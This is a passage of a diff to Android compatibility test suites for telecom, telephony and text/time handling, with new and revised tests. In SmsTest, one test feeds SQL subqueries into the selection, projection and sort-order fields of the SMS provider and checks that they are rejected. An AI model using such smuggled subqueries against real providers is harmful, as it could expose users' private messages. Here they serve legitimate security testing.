(originalLimitDp != -1) ? Integer.toString(originalLimitDp) : null,
false /* makeDefault */));
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index e09cb7c..07778a3 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="telecom" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
<option name="token" value="sim-card" />
</target_preparer>
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 313651e..c493c5b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -53,11 +53,8 @@
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
audioManager.adjustStreamVolume(AudioManager.STREAM_RING,
AudioManager.ADJUST_UNMUTE, 0);
- // TODO: uncomment when call screening APIs in AudioManager come to AOSP
- /*
doesAudioManagerSupportCallScreening =
audioManager.isCallScreeningModeSupported();
- */
}
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index c8463fb..5f47695 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -857,16 +857,26 @@
}
/**
- * Tests whether the CallLogManager logs the features of a call(HD call and Wifi call)
+ * Tests whether the CallLogManager logs the features of a call(HD call, Wifi call, VoLTE)
* correctly.
*/
- public void testLogHdAndWifi() throws Exception {
+ public void testLogFeatures() throws Exception {
if (!mShouldTestTelecom) {
return;
}
// Register content observer on call log and get latch
CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
+
+ Bundle testBundle = new Bundle();
+ testBundle.putInt(TelecomManager.EXTRA_CALL_NETWORK_TYPE,
+ TelephonyManager.NETWORK_TYPE_LTE);
+ mConnection.putExtras(testBundle);
+ // Wait for the 2nd invocation; setExtras is called in the setup method.
+ mOnExtrasChangedCounter.waitForCount(2, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+ Bundle extra = mCall.getDetails().getExtras();
+
mCall.disconnect();
// Wait on the call log latch.
@@ -874,11 +884,13 @@
// Verify the contents of the call log
Cursor callsCursor = mContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
- "features", null, null);
- int features = callsCursor.getColumnIndex(CallLog.Calls.FEATURES);
+ null, null, "_id DESC");
+ callsCursor.moveToFirst();
+ int features = callsCursor.getInt(callsCursor.getColumnIndex("features"));
assertEquals(CallLog.Calls.FEATURES_HD_CALL,
features & CallLog.Calls.FEATURES_HD_CALL);
assertEquals(CallLog.Calls.FEATURES_WIFI, features & CallLog.Calls.FEATURES_WIFI);
+ assertEquals(CallLog.Calls.FEATURES_VOLTE, features & CallLog.Calls.FEATURES_VOLTE);
}
/**
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index ec0a280..ed6decb 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -22,6 +22,7 @@
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
+import android.os.Process;
import android.provider.VoicemailContract.Voicemails;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
@@ -30,11 +31,9 @@
import android.telecom.TelecomManager;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
-import android.os.Process;
-
-import com.android.compatibility.common.util.ShellIdentityUtils;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ShellIdentityUtils;
import java.util.List;
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index ad80dcf..79e99cb 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="telecom" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index aeeb9b1..83aaa0b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -51,6 +51,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import java.io.IOException;
@@ -145,6 +146,7 @@
}
@SecurityTest
+ @Ignore // TODO(b/146238285) -- Appop commands not working.
@Test
public void testRevokePermission() {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
index dfe4275..9cc5e7a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
@@ -18,8 +18,6 @@
import static androidx.test.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.fail;
-
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.PersistableBundle;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java
index c652131..3ca8ee4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java
@@ -25,6 +25,8 @@
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
import org.junit.Test;
public class CellBroadcastIntentsTest {
@@ -43,4 +45,16 @@
}
fail();
}
+
+ @Test
+ public void testGetIntentForBackgroundReceiversWithPermission() {
+ ShellIdentityUtils.invokeStaticMethodWithShellPermissions(
+ () -> {
+ CellBroadcastIntents.sendOrderedBroadcastForBackgroundReceivers(
+ InstrumentationRegistry.getContext(), UserHandle.ALL,
+ new Intent(TEST_ACTION),
+ null, null, null, null, 0, null, null);
+ return true;
+ });
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index aafb9ef..50a2b50 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -24,6 +24,9 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.Manifest;
+import android.Manifest.permission;
+import android.app.UiAutomation;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Parcel;
@@ -54,6 +57,8 @@
import android.util.Log;
import android.util.Pair;
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsCbLocationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbLocationTest.java
new file mode 100644
index 0000000..69c851f
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbLocationTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.telephony.SmsCbLocation;
+
+import org.junit.Test;
+
+public class SmsCbLocationTest {
+ @Test
+ public void testSmsCbLocation() throws Throwable {
+ SmsCbLocation cbLocation = new SmsCbLocation("94040", 1234, 5678);
+ assertEquals("94040", cbLocation.getPlmn());
+ assertEquals(1234, cbLocation.getLac());
+ assertEquals(5678, cbLocation.getCid());
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 26f6a30..328fe82 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -366,24 +366,6 @@
}
@Test
- public void testGetSmsMessagesForFinancialAppPermissionNotRequested() throws Exception {
- final CountDownLatch latch = new CountDownLatch(1);
-
- try {
- getSmsManager().getSmsMessagesForFinancialApp(new Bundle(),
- getInstrumentation().getContext().getMainExecutor(),
- new SmsManager.FinancialSmsCallback() {
- public void onFinancialSmsMessages(CursorWindow msgs) {
- assertNull(msgs);
- latch.countDown();
- }});
- assertTrue(latch.await(500, TimeUnit.MILLISECONDS));
- } catch (Exception e) {
- // do nothing
- }
- }
-
- @Test
public void testGetSmsMessagesForFinancialAppPermissionRequestedNotGranted() throws Exception {
CompletableFuture<Bundle> callbackResult = new CompletableFuture<>();
@@ -440,6 +422,9 @@
@Test
public void testContentProviderAccessRestriction() throws Exception {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
Uri dummySmsUri = null;
Context context = getInstrumentation().getContext();
ContentResolver contentResolver = context.getContentResolver();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index bbaa423..c9e5ef4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -134,21 +134,25 @@
}
/**
- * Sanity check that the device has a cellular network and a valid default data subId
- * when {@link PackageManager#FEATURE_TELEPHONY} support.
+ * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
+ * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
+ * either defined or undefined; you can't cross the streams.
*/
@Test
public void testSanity() throws Exception {
- if (!isSupported()) return;
-
final boolean hasCellular = findCellularNetwork() != null;
- if (!hasCellular) {
+ if (isSupported() && !hasCellular) {
fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
+ " but has no active cellular network, which is required for validation");
+ } else if (!isSupported() && hasCellular) {
+ fail("Device has active cellular network, but claims to not support "
+ + PackageManager.FEATURE_TELEPHONY);
}
- if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
- fail("Device must have a valid default data subId for validation");
+ if (isSupported()) {
+ if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+ fail("Device must have a valid default data subId for validation");
+ }
}
}
@@ -337,6 +341,49 @@
}
@Test
+ public void testSubscriptionPlansUnmetered() throws Exception {
+ if (!isSupported()) return;
+
+ final ConnectivityManager cm = InstrumentationRegistry.getContext()
+ .getSystemService(ConnectivityManager.class);
+ final Network net = findCellularNetwork();
+ assertNotNull("Active cellular network required", net);
+
+ // Make ourselves the owner and define some plans
+ setSubPlanOwner(mSubId, mPackageName);
+ mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+
+ // Cellular is metered by default
+ assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
+
+ SubscriptionPlan unmeteredPlan = SubscriptionPlan.Builder
+ .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+ Period.ofMonths(1))
+ .setTitle("CTS")
+ .setDataLimit(SubscriptionPlan.BYTES_UNLIMITED,
+ SubscriptionPlan.LIMIT_BEHAVIOR_THROTTLED)
+ .build();
+
+ // Unmetered plan should make it go unmetered
+ {
+ final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+ return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
+ });
+ mSm.setSubscriptionPlans(mSubId, Arrays.asList(unmeteredPlan));
+ assertTrue(latch.await(10, TimeUnit.SECONDS));
+ }
+
+ // Metered plan should make it go metered
+ {
+ final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+ return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
+ });
+ mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+ assertTrue(latch.await(10, TimeUnit.SECONDS));
+ }
+ }
+
+ @Test
public void testSubscriptionPlansInvalid() throws Exception {
if (!isSupported()) return;
@@ -378,6 +425,49 @@
}
@Test
+ public void testSubscriptionPlansNetworkTypeValidation() throws Exception {
+ if (!isSupported()) return;
+
+ // Make ourselves the owner
+ setSubPlanOwner(mSubId, mPackageName);
+
+ // Error when adding 2 plans with the same network type
+ List<SubscriptionPlan> plans = new ArrayList<>();
+ plans.add(buildValidSubscriptionPlan());
+ plans.add(SubscriptionPlan.Builder
+ .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+ Period.ofMonths(1))
+ .setTitle("CTS")
+ .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
+ .build());
+ plans.add(SubscriptionPlan.Builder
+ .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+ Period.ofMonths(1))
+ .setTitle("CTS")
+ .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
+ .build());
+ try {
+ mSm.setSubscriptionPlans(mSubId, plans);
+ fail();
+ } catch (IllegalArgumentException expected) {
+ }
+
+ // Error when there is no general plan
+ plans.clear();
+ plans.add(SubscriptionPlan.Builder
+ .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+ Period.ofMonths(1))
+ .setTitle("CTS")
+ .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
+ .build());
+ try {
+ mSm.setSubscriptionPlans(mSubId, plans);
+ fail();
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ @Test
public void testSubscriptionGrouping() throws Exception {
if (!isSupported()) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 853bf9d..a7baf0a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -460,7 +460,7 @@
mTelephonyManager.getPhoneCount();
mTelephonyManager.getDataEnabled();
mTelephonyManager.getNetworkSpecifier();
- mTelephonyManager.getNai();
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager, (tm) -> tm.getNai());
TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
PhoneAccountHandle defaultAccount = telecomManager
.getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java
new file mode 100644
index 0000000..37228c8
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.pm.PackageManager;
+import android.util.ArraySet;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class TelephonyPermissionPolicyTest {
+ private static final ArraySet<String> KNOWN_TELEPHONY_PACKAGES;
+
+ static {
+ KNOWN_TELEPHONY_PACKAGES = new ArraySet<>();
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.phone");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.stk");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.providers.telephony");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.ons");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.cellbroadcastservice");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.cellbroadcastreceiver");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.shell");
+ }
+
+ @Test
+ public void testIsTelephonyPackagesKnown() {
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ final String[] configuredTelephonyPackages = pm.getTelephonyPackageNames();
+ // make sure only known system telephony apks are configured which will be granted special
+ // permissions.
+ for (String packageName : configuredTelephonyPackages) {
+ assertTrue(KNOWN_TELEPHONY_PACKAGES.contains(packageName));
+ }
+ }
+}
diff --git a/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java b/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
index cd960b8..57f2e9b 100644
--- a/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
@@ -23,7 +23,6 @@
import android.content.Context;
import android.os.Build;
import android.telephony.TelephonyManager;
-import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -76,6 +75,10 @@
"An app targeting pre-Q with the READ_PHONE_STATE permission granted must "
+ "receive null when invoking getSimSerialNumber",
mTelephonyManager.getSimSerialNumber());
+ assertNull(
+ "An app targeting pre-Q with the READ_PHONE_STATE permission granted must "
+ + "receive null when invoking getNai",
+ mTelephonyManager.getNai());
// Since Build.getSerial is not documented to return null in previous releases this test
// verifies that the Build.UNKNOWN value is returned when the caller does not have
// permission to access the device identifier.
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
index 3f85f84..75f7009 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
@@ -70,6 +70,38 @@
}
}
+ static void stopBeingDefaultSmsApp() {
+ Context context = ApplicationProvider.getApplicationContext();
+
+ String packageName = context.getPackageName();
+ RoleManager roleManager = context.getSystemService(RoleManager.class);
+ Executor executor = context.getMainExecutor();
+ UserHandle user = Process.myUserHandle();
+
+ CountDownLatch latch = new CountDownLatch(1);
+ boolean[] success = new boolean[1];
+
+ runWithShellPermissionIdentity(() -> {
+ roleManager.removeRoleHolderAsUser(
+ RoleManager.ROLE_SMS,
+ packageName,
+ RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP,
+ user,
+ executor,
+ successful -> {
+ success[0] = successful;
+ latch.countDown();
+ });
+ });
+
+ try {
+ latch.await();
+ assertTrue(success[0]);
+ } catch (InterruptedException ex) {
+ throw new RuntimeException(ex.getMessage());
+ }
+ }
+
static void assumeTelephony() {
Assume.assumeTrue(hasTelephony());
}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
index 7831bb5..d3fca8a 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
@@ -20,6 +20,8 @@
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertNull;
+
import android.content.ContentResolver;
import android.content.ContentValues;
import android.database.Cursor;
@@ -279,5 +281,48 @@
String.valueOf(testSmsBodyEmoji));
}
+ /**
+ * Verifies that subqueries are not allowed with a restricted view
+ */
+ @Test
+ public void testSubqueryNotAllowed() {
+ Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+ assertThat(uri).isNotNull();
+
+ DefaultSmsAppHelper.stopBeingDefaultSmsApp();
+ {
+ // selection
+ Cursor cursor1 = mContentResolver.query(Telephony.Sms.CONTENT_URI,
+ null, "seen=(SELECT seen FROM sms LIMIT 1)", null, null);
+ assertNull(cursor1);
+ Cursor cursor2 = mContentResolver.query(Telephony.MmsSms.CONTENT_CONVERSATIONS_URI,
+ null, "seen=(SELECT seen FROM sms LIMIT 1)", null, null);
+ assertNull(cursor2);
+ }
+
+ {
+ // projection
+ Cursor cursor1 = mContentResolver.query(Telephony.Sms.CONTENT_URI,
+ new String[] {"(SELECT seen from sms LIMIT 1) AS d"}, null, null, null);
+ assertNull(cursor1);
+ Cursor cursor2 = mContentResolver.query(Telephony.MmsSms.CONTENT_CONVERSATIONS_URI,
+ new String[] {"(SELECT seen from sms LIMIT 1) AS d"}, null, null, null);
+ assertNull(cursor2);
+ }
+
+ {
+ // sort order
+ Cursor cursor1 = mContentResolver.query(Telephony.Sms.CONTENT_URI,
+ null, null, null,
+ "CASE (SELECT count(seen) FROM sms) WHEN 0 THEN 1 ELSE 0 END DESC");
+ assertNull(cursor1);
+ Cursor cursor2 = mContentResolver.query(Telephony.MmsSms.CONTENT_CONVERSATIONS_URI,
+ null, null, null,
+ "CASE (SELECT count(seen) FROM sms) WHEN 0 THEN 1 ELSE 0 END DESC");
+ assertNull(cursor2);
+ }
+
+ DefaultSmsAppHelper.ensureDefaultSmsApp();
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index 5f17b32..cb62639 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
@@ -264,6 +265,17 @@
}
@Test
+ public void testIsBoringForEmptyString() {
+ Metrics metrics = new Metrics();
+ assertNotNull(BoringLayout.isBoring("", new TextPaint(), metrics));
+
+ // The default font Roboto has non-zero ascent/descent values. If metrics returns zeros, it
+ // means failed to retrieve the font metrics.
+ assertNotEquals(0, metrics.ascent);
+ assertNotEquals(0, metrics.descent);
+ }
+
+ @Test
public void testIsBoring_resetsFontMetrics() {
int someInt = 100;
String text = "some text";
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index fc4ef5a..783f83d 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -29,6 +29,7 @@
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -43,16 +44,25 @@
@SmallTest
@RunWith(AndroidJUnit4.class)
public class DateUtilsTest {
+ private TimeZone mDefaultTimeZone;
private long mBaseTime;
private Context mContext;
@Before
public void setup() {
mContext = InstrumentationRegistry.getTargetContext();
+ mDefaultTimeZone = TimeZone.getDefault();
+ // All tests in this class can assume the device time zone is set to GMT.
TimeZone.setDefault(TimeZone.getTimeZone("GMT"));
mBaseTime = System.currentTimeMillis();
}
+ @After
+ public void tearDown() {
+ // Set the default time zone back to what it was before setup().
+ TimeZone.setDefault(mDefaultTimeZone);
+ }
+
@Test
public void testGetDayOfWeekString() {
if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
@@ -249,9 +259,25 @@
@Test
public void testIsToday() {
- final long ONE_DAY_IN_MS = 24 * 60 * 60 * 1000;
- assertTrue(DateUtils.isToday(mBaseTime));
+ // This test assumes TimeZone.getDefault() returns GMT. See setup() and comments below for
+ // details.
+
+ final int ONE_HOUR_IN_MS = 60 * 60 * 1000;
+ final int ONE_DAY_IN_MS = 24 * ONE_HOUR_IN_MS;
+
+ // mBaseTime < System.currentTimeMillis(), so subtracting 24 hours is guaranteed to
+ // be yesterday because this test uses GMT, i.e. no DST to consider.
assertFalse(DateUtils.isToday(mBaseTime - ONE_DAY_IN_MS));
+
+ // We can assume mBaseTime is within a few seconds of the current system clock so adding
+ // one day plus one hour is more than sufficient to ensure isToday() == false.
+ assertFalse(DateUtils.isToday(mBaseTime + ONE_DAY_IN_MS + ONE_HOUR_IN_MS));
+
+ // This assertion is flaky because the method under test uses the system clock. If mBaseTime
+ // is set just before midnight (GMT) and isToday() is run just after midnight (GMT), this
+ // assertion will fail.
+ assertTrue("mBaseTime=" + mBaseTime + ", System.currentTimeMillis() after failure="
+ + System.currentTimeMillis(), DateUtils.isToday(mBaseTime));
}
@Test
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index ad5c3bf..aecf05b 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -37,10 +37,14 @@
import java.time.Duration;
import java.time.Instant;
+import java.time.LocalDate;
import java.time.LocalDateTime;
+import java.time.LocalTime;
import java.time.Month;
import java.time.ZoneId;
+import java.time.ZoneOffset;
import java.time.temporal.ChronoUnit;
+import java.time.temporal.JulianFields;
import java.time.zone.ZoneOffsetTransition;
import java.time.zone.ZoneRules;
import java.util.ArrayList;
@@ -221,11 +225,44 @@
@Test
public void testIsEpoch() {
- Time time = new Time();
+ // Create a Time that uses UTC to provide a behavior baseline.
+ Time time = new Time(Time.TIMEZONE_UTC);
+
+ // Time is initialized to 1970-01-01 00:00:00
assertTrue(Time.isEpoch(time));
- time.set(1, 2, 1970);
+
+ // 1970-01-01 23:59:59
+ checkIsEpochResult(time, 1970, 0 /* Jan */, 1, 23, 59, 59, true);
+
+ // 1970-01-02 00:00:00
+ checkIsEpochResult(time, 1970, 0 /* Jan */, 2, 0, 0, 0, false);
+
+ // 1969-12-31 23:59:59
+ checkIsEpochResult(time, 1969, 11 /* Dec */, 31, 23, 59, 59, false);
+
+ // Now demonstrate that the isEpoch() method just checks against the Julian day
+ // calculated for UTC. America/Los_Angeles is UTC-8 so all times have to be adjusted
+ // by 8 hours.
+ time.timezone = "America/Los_Angeles";
+
+ // 1969-12-31 15:59:59 == 1969-12-31 23:59:59 in UTC
+ checkIsEpochResult(time, 1969, 11 /* Dec */, 31, 15, 59, 59, false);
+
+ // 1969-12-31 16:00:00 == 1970-01-01 00:00:00 in UTC
+ checkIsEpochResult(time, 1969, 11 /* Dec */, 31, 16, 0, 0, true);
+
+ // 1970-01-01 15:59:59 == 1970-01-01 23:59:59 in UTC
+ checkIsEpochResult(time, 1970, 0 /* Jan */, 1, 15, 59, 59, true);
+
+ // 1970-01-01 16:00:00 == 1970-01-02 00:00:00 in UTC
+ checkIsEpochResult(time, 1970, 0 /* Jan */, 1, 16, 0, 0, false);
+ }
+
+ private void checkIsEpochResult(Time time, int year, int month, int monthDay, int hour,
+ int minute, int second, boolean expectedIsEpoch) {
+ time.set(second, minute, hour, monthDay, month, year);
time.normalize(false);
- assertFalse(Time.isEpoch(time));
+ assertEquals(expectedIsEpoch, Time.isEpoch(time));
}
@Test
@@ -1913,50 +1950,71 @@
"Pacific/Midway",
};
+ /**
+ * This test uses java.time classes to construct test times so that it can test various years
+ * including those outside of the int32 seconds range.
+ */
@Test
public void testGetJulianDay() {
- Time time = new Time();
+ int[] years = { 2008, 1900, 1969, 2100 };
+ for (int year : years) {
+ for (String timeZone : mTimeZones) {
+ checkGetJulianDayForYearAndTimeZone(year, timeZone);
+ }
+ }
+ }
- // For every 15th day of 2008, and for each of the timezones listed above,
- // get the Julian day for 12am and then check that if we change the time we get the
- // same Julian day. Note that one of the many problems with the Time class
- // is its lack of error handling. If we accidentally hit a time that doesn't
- // exist (because it was skipped by a daylight savings transition), rather than
- // an error, you'll silently get 1970-01-01. We should @deprecate Time.
- for (int monthDay = 1; monthDay <= 366; monthDay += 15) {
- for (int zoneIndex = 0; zoneIndex < mTimeZones.length; zoneIndex++) {
- // We leave the "month" as zero because we are changing the
- // "monthDay" from 1 to 366. The call to normalize() will
- // then change the "month" (but we don't really care).
- time.set(0, 0, 12, monthDay, 0, 2008);
- time.timezone = mTimeZones[zoneIndex];
- long millis = time.normalize(true);
- if (zoneIndex == 0) {
- Log.i(TAG, time.format("%B %d, %Y"));
- }
